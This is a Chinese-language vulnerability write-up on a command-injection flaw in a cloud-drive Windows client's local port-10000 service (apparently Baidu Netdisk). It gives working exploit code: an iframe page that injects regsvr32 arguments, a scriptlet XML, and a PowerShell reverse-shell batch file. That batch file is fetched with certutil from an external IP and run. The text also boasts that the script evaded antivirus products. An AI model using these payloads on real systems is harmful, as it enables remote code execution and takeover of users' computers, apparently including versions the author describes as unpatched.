前言
某网盘Windows客户端安装后,后台程序将监听本地10000端口,处理HTTP\HTTPS请求。其中的HTTP请求OpenSafeBox存在命令注⼊漏洞,攻击者可以控制该请求的URL参数,注⼊指定命令,可实现远程命令执行。版本小于等于7.59.5.104(最新版,截⽌时间2025/09/3)均存在该漏洞。
漏洞分析
某网盘客户端安装后,后台程序YunDetectService.exe将监听本地10000端口。该后台程序为开机自启动。
10000端⼝处理HTTP或者HTTPS请求(版本7.50.0.130之前处理HTTP,往后版本则是HTTPS),以method = xxxx的形式传递参数,实现不同的功能。其中的method 主要包括:GetVersion,GetPcCode,DownloadShareItems,DownloadSelfOwnItems,OpenSafeBox等。
OpenSafeBox⽅法的参数uk字段的值作为Netdisk.exe的命令行参数userkey的值,以字符串拼接的方式传递到该程序中,后续将创建该程序运行。URL参数传递形式为method=OpenSafeBox&uk=xxxx,传递到程序中的形式为-opensafebox -userkey 【具体userkey值】,代码中没有对该参数进⾏安全检测和过滤,因此此处存在命令行参数注入。
Netdisk.exe程序支持opensafebox,install,userkey,createshortcut等命令行参数。其中参数install regdll实现的功能中,将创建系统程序regsvr32.exe注册YunShellExt.dll⽂件,其文件目录通过命令⾏参数进⾏拼接组合,此⽬录参数可控。后续还将检查拼接后的YunShellExt.dll或者YunShellExt64.dll⽂件是否存在,如果存在才会执⾏后续的注册功能。这⾥可以使⽤路径穿越字符串“\..\”构造YunShellExt.dll的真实路径,比如:
..\\..\\..\\..\\..\\..\\..\\..\\Users\\xxx\\AppData\\Roaming\\baidu\\BaiduNetdisk
注册时,调⽤系统regsvr32.exe程序实现。其中regsvr32.exe的参数同样采⽤字符串拼接的方式进行组合,没有对其进行安全检测和过滤,文件路径可控,可进行命令行参数注入。正常情况下,此时regsvr32.exe对应的文件路径是YunShellExt.dll或者YunShellExt64.dll文⽂件路径。漏洞利用时,可以将该DLL路径劫持为系统⾃带的scrobj.dll路径,同时使用双引号截断命令,对regsvr32.exe进⾏命令行参数注入,以便引入/i和/u参数,再传递远程xml文件地址。此时将下载远程xml文件,并执行其中的命令,实现远程执行命令的目的。
漏洞复现
可以在本地启动也可以在服务区上使用python3搭建http web服务。修改poc.html中的攻击者服务器地址和⽤户名,用户名是安装某网盘客户端机器上的用户名,然后将poc.xml和poc.html放⼊web目录,使之能远程访问来触发漏洞即可。
这里我们选择在本地开启http服务
创建poc.xml
<?xml version="1.0"?>
<scriptlet>
<registration
progid="poc"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
]]>
</script>
</registration>
</scriptlet>
先用调取计算器来测试
创建poc.html
<html> <iframewidth="1px"height="1px"referrerpolicy="no-referrer"src='https://localhost:10000/?method=OpenSafeBox&uk=a -install regdll "C:\\\Windows\\System32\\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml \"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\Test\AppData\Roaming\baidu\BaiduNetdisk'></iframe></html>
确保某⽹盘客户端Netdisk.exe进程已退出(默认情况下,某⽹盘客户端安装后,重启电脑后只有后台程序YunDetectService.exe运⾏)。使⽤浏览器访问远程poc.html,触发漏洞,将运行Netdisk.exe程序。最终执行regsvr32.exe程序,下载并执行远程poc.xml中的命令,运行计算器程序。
https://localhost:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\\Windows\\System32\\scrobj.dll\%22%20/u%20/i:http://127.0.0.1:8000/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\32139\AppData\Roaming\baidu\BaiduNetdisk
这里的32139和IP端口根据自己设置的进行调整。
弹计算机可以的话,那么我们直接反弹shell也是可行的,Windows反弹shell的话直接弹也可以,使用nc的话也可以,不过nc的话不能保证每台电脑都有,并且路径的话不好确定,这里我们采用远程下载bat的方法来进行,至于为什么用bat脚本——看结尾。
先看bat脚本吧
@echo off
powershell -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('IP',port);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1 | Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$b2=([text.encoding]::ASCII).GetBytes($o2);$s.Write($b2,0,$b2.Length);$s.Flush()};$c.Close()"
将上述内容保存为1.bat,存放在我们的服务器上,更换poc.xml中的内容
<?xml version="1.0"?>
<scriptlet>
<registration
progid="poc"
classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
var shell = new ActiveXObject("WScript.Shell");
shell.Run('cmd.exe /c certutil -urlcache -split -f "http://82.157.234.37:8000/1.bat" "C:\\Users\\32139\\Desktop\\poc\\baidurce\\1.bat" && "C:\\Users\\32139\\Desktop\\poc\\baidurce\\1.bat"', 0, true);
]]>
</script>
</registration>
</scriptlet>
创建好我们的bat之后在启一个终端用来监听我们的shell
这里为了方便poc.xml仍然在本地存放,直接改动后刷新一下就可以了
成功弹回shell!!!
结尾
到这里就结束了吗?不不不,既然Windows可以,那么mac呢?是否也存在类似的漏洞,欢迎各位大佬讨论。
为什么喜欢用bat反弹shell,去年学习白加黑dll劫持的时候意外研究出来的一个bat脚本,当时能够成功反弹shell,并且“吊打各大安全厂商”,所有的安全厂商(包括某60,某绒,defender等)均不报毒并且能够正常执行,由于当时对于免杀研究不深入,直接将脚本上传到各大云沙箱进行测试,遂被各大厂商标记,有效期仅维持了两个小时,不过中法规有点纪念意义和收获在,所以有时候会偏向于使用这个来进行反弹shell